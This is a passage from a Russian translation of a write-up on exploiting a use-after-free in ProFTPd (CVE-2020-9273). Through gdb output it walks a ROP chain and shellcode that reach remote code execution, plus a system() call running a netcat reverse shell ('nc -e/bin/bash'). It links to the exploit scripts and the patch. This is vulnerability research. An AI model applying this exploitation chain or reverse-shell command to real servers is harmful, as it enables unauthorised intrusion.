mov rax, QWORD PTR [rax+0x18]
выполняется, получаем в rax адрес, который будет использоваться только при следующей инструкции: jmp rax.
Поскольку он находится рядом с инструкцией ret, мы, наконец, выполним нашу ROPchain, поскольку мы указали rsp прямо перед нашей ROPchain, и инструкция ret только что была выполнена.
Код:
gef➤ p $rax
$5 = 0x563593915358
gef➤ x/gx $rax + 0x18
0x563593915370: 0x00007f875a9fc679
gef➤ x/i 0x00007f875a9fc679
0x7f875a9fc679 <__libgcc_s_init+61>: ret
На момент jmp rax:
Код:
0x7f875ab201a3 <authnone_marshal+19> lea rsi, [rdi+0x48]
0x7f875ab201a7 <authnone_marshal+23> mov rdi, r8
0x7f875ab201aa <authnone_marshal+26> mov rax, QWORD PTR [rax+0x18]
→ 0x7f875ab201ae <authnone_marshal+30> jmp rax
0x7f875ab201b0 <authnone_marshal+32> xor eax, eax
0x7f875ab201b2 <authnone_marshal+34> ret
--------------------------------------------------------------
gef➤ p $rax
$6 = 0x7f875a9fc679
gef➤ x/i $rax
0x7f875a9fc679 <__libgcc_s_init+61>: ret
И мы видим, что стек был успешно развернут:
Код:
gef➤ p $rsp
$7 = (void *) 0x563593915358
gef➤ x/gx 0x563593915358
0x563593915358: 0x00007f875aa21550
gef➤ x/i 0x00007f875aa21550
0x7f875aa21550 <mblen+112>: pop rax
ROPchain установит системный вызов SYS_mprotect, который изменит защиту памяти для диапазона кучи на RXW. Затем мы перейдем к шеллкоду и, наконец, достигнем удаленного выполнения кода.
Если мы проверим сопоставления с помощью gdb, мы увидим, что часть кучи теперь является RWX, где на самом деле находится шелл-код:
0x0000563593889000 0x00005635938cb000 0x0000000000000000 rw- [heap]
0x00005635938cb000 0x0000563593915000 0x0000000000000000 rw- [heap]
0x0000563593915000 0x0000563593916000 0x0000000000000000 rwx [heap]
0x0000563593916000 0x000056359394e000 0x0000000000000000 rw- [heap]
Теперь мы переходим к шеллкоду, так как он теперь находится в исполняемой памяти, поэтому удаленное выполнение кода выполнено успешно:
0x7f875aa3d229 <funlockfile+73> syscall
→ 0x7f875aa3d22b <funlockfile+75> ret
↳ 0x563593915310 push 0x29
0x563593915312 pop rax
0x563593915313 push 0x2
0x563593915315 pop rdi
0x563593915316 push 0x1
0x563593915318 pop rsi
Объединяя все это вместе в эксплойт, вот скриншот успешной эксплуатации этой уязвимости с использованием подхода ROP:
ret2libc or ret2X
Вы можете перейти к любой функции и управлять одним аргументом, это означает, что вы можете вызвать любую функцию с произвольным аргументом. Вы также можете повторно использовать значения регистров для других аргументов, но вы полагаетесь на то, что текущие регистры будут действительными для целевой функции, например: недопустимый указатель вызовет сбой.
Подход, которого я придерживался с этим методом, заключается в вызове system() и указании RDI на настраиваемую командную строку (обратная оболочка netcat), которую я оставляю в куче с предсказуемым адресом.
Сначала мы достигаем destroy_pool() с поддельной структурой pool_rec, фактически мы повторно используем записи из нашей изначально контролируемой структуры:
gef➤ p *p
$1 = {
first = 0x563f5c9c6280,
last = 0x7361626174614472,
cleanups = 0x563f5c9a62d0,
sub_pools = 0x563f5c9a6298,
sub_next = 0x563f5c9a62a0,
sub_prev = 0x563f5c9a0a90,
parent = 0x563f5c94a738,
free_first_avail = 0x563f5c94a7e0 "\260\251\224\\?V",
tag = 0x563f5c9a526e ""
}
gef➤ p *resp_pool
$2 = {
first = 0x563f5c9a62d0,
last = 0x563f5c9a6298,
cleanups = 0x563f5c9a62a0,
sub_pools = 0x563f5c9a0a90,
sub_next = 0x563f5c94a738,
sub_prev = 0x563f5c94a7e0,
parent = 0x563f5c9a526e,
free_first_avail = 0x563f5c9a526e "",
tag = 0x563f5c9a526e ""
}
Затем destroy_pool() будет вызывать clear_pool(), который, наконец, вызывает run_cleanups() с нашей фальшивой структурой cleanup_t, на которую указывает p->cleanups:
gef➤ p *c
$3 = {
data = 0x563f5c9a62f0,
plain_cleanup_cb = 0x7fca503f1410 <__libc_system>,
child_cleanup_cb = 0x4141414141414141,
next = 0x4242424242424242
}
gef➤ x/s c->data
0x563f5c9a62f0: "nc -e/bin/bash 127.0.0.1 4444"
Как мы видим, c->plain_cleanup_cb (будущий RIP) указывает на __libc_system (), а c->data указывает на нашу командную строку, хранящуюся в куче.
Результатом, если мы продолжим, будет выполнение нового процесса как части выполнения команды: процесс 35209 выполняет новую программу: / usr/bin/ncat
И, наконец, получение реверс шелла в качестве пользователя, с которым вы вошли на FTP-сервер.
RCE Video Demo также доступен на GitHub (в том же каталоге, где находится эксплойт)
Patch
Здесь вы можете найти проблему GitHub и исправления для этой уязвимости.
Заключение
В этом посте мы проанализировали и продемонстрировали использование Use-After-Free в ProFTPd и смогли получить полное удаленное выполнение кода даже при включенных всех защитах (ASLR, PIE, NX, RELRO, STACKGUARD и т.д.)
Возможно, необходима аутентификация, иногда такая ситуация возникает у злоумышленника, но он не может продолжить работу без подобного эксплойта RCE.
Вы можете найти эксплойт ROP-подхода здесь (https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit_rop.py).
Вы можете найти другой эксплойт, который использует system() и netcat здесь (https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit.py).
EoF
Надеемся, вам понравилась эта статья! Не стесняйтесь оставлять отзывы в нашем твиттере
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://adepts.of0x.cc/proftpd-cve-2020-9273-exploit/